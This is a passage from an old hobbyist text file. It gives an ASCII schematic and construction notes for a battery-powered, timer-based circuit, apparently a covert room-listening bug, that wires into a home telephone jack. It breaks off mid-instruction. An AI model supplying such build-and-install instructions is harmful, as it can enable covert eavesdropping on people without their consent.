  16600. | |              !                                           |            |
  16601. | |             /                                            |            |
  16602. | |       -----|                                             |            |
  16603. | |       |     \                                            |            |
  16604. | |       |      >                                           |            |
  16605. | |       |      |                                           |            |
  16606. | |       |      |                                           |            |
  16607. | |       |      !_____________.                             |            |
  16608. | |       |                    |                             |            |
  16609. | |       !__________.         |                             |            |
  16610. | |                  |         |                             |            |
  16611. | !________.         |         |                       ._____!            |
  16612. |          |         |         |                       |                  |
  16613. |          |         |         |                       |                  |
  16614. |          |         |         |                       | C7               |
  16615. |          |         |         |                       '-|(-|             |
  16616. |          |_________|_________!_______.T1._________________|             |
  16617. |                    |         |  1500 )||( 500                           |
  16618. |                    |         |   ohm )||( ohm                           |
  16619. |                    |         !______.)||(.__.                           |
  16620. |                    |         |              |                           |
  16621. |                    |         |              |                           |
  16622. |                    |         |              >                           |
  16623. |                    |         |            |/                            |
  16624. |                    |         |       +----|   Q3                        |
  16625. |                    |         |       |    |\                            |
  16626. !____________________|_________|_______|______!__. D1   C9                |
  16627.                      |         |       |         '-|<---|(------|         |
  16628.       .______________!         |       |                        |         |
  16629.       |                        |       |                        |         |
  16630.       |       .________________!       |                        |         |
  16631.       |       |                        |                        |         |
  16632.       \       |       .________________!             C11        |         |
  16633.       /       |       |                       .___||____________!         |
  16634.   R13 \       |       |                       |   ||            |         |
  16635.       /       |       |                       |                 |         |
  16636.       \       !___.___|_______________________!                 |         |
  16637.       |       |   |   |                       |     R16         |    R15  |
  16638.       |       v   |   |                       !___/\/\/\________!___/\/\/_!
  16639.       |      neg  |   |                       |    D2           |         |
  16640.       |    return |   |                       !_____|<__________!         |
  16641.       |     B1,B2 |   \                       |                 |         |
  16642.       |           |   /                       |    .____________!_.       |
  16643.       |           |   \R14                    |C12 |   TM1      2 |       |
  16644.       |           |   /                       !_||_!5            4!_______!
  16645.       |           |   \                       | || |              |       |
  16646.       |           |   |                       !____!1            8!_______!
  16647.       |           |   |                       |    |     7 6   3  |       |
  16648.       |           |   |                       |    !_____._.____._!       |
  16649.       |           |   |                       |          | |    |         |
  16650.       |           |   |                       |   C13    | |    |   R17   |
  16651.       |           |   |                       !___)|_____!_!____|__/\/\/__!
  16652.       |           |   |                       |                 |         |
  16653.       !___________|___!_______________________|_________________!         |
  16654.                   |   |                       |                           |
  16655.                   |   \                       |          C10              |
  16656.                   |   /R18                    !__________)|_______________!
  16657.                   |   \
  16658.                   |   /
  16659.                   |   |
  16660.                   !___O J1
  16661.                     sense output
  16662.  
  16663. Construction notes: Because the damned book just gave a picture instead of step
  16664. by step instructions, and I'll try to give you as much help as possible. Note
  16665. that all the parts that you will be using are clearly labeled in the schematic.
  16666. The perfboard, knobs, 'gator clips, etc are optional. I do strongly suggest
  16667. that you do use the board!!! It will make wiring the components up much much
  16668. easier than if you don't use it.
  16669.  The knob you can use to control the pot (R7). R7 is used to tune the IT so
  16670. that is sounds ok over the phone. (You get to determine what sounds good) By
  16671. changing the value of C13, you can change the amount of time that the circuit
  16672. will stay open (it cannot detect a hang up, so it works on a timer.) A value of
  16673. 100 micro Farads will increase the time by about 10 times.
  16674.  The switch (S1) determines whether or not the unit is operational. Closed is
  16675. on. Open is off. The negative return is the negative terminals of the battery!!
  16676. The batteries will look something like this when hooked up:
  16677.  
  16678.   <-v_____.   .______.    ._____.   .____->
  16679.           |   |      |    |     |   |
  16680.         __!___!__    |    |   __!___!__
  16681.         | +   - |    !_/ _!   | +   - |
  16682.         |       |  switch ^   |       |
  16683.         | 9volts|         |   | 9volts|
  16684.         !_______! neg return  !_______!
  16685.  
  16686.  To hook this up to the phone line, there are three ways, depending upon what
  16687. type of jack you have. If it is the old type (non modular) then you can just
  16688. open up the wall plate and connect the wires from the transmitter directly to
  16689. the terminals of the phone.
  16690.  If you have a modular jack with four prongs, attach the red to the negative
  16691. prong (don't ask me which is which! I don't have that type of jack... I've only
  16692. seen them in stores), and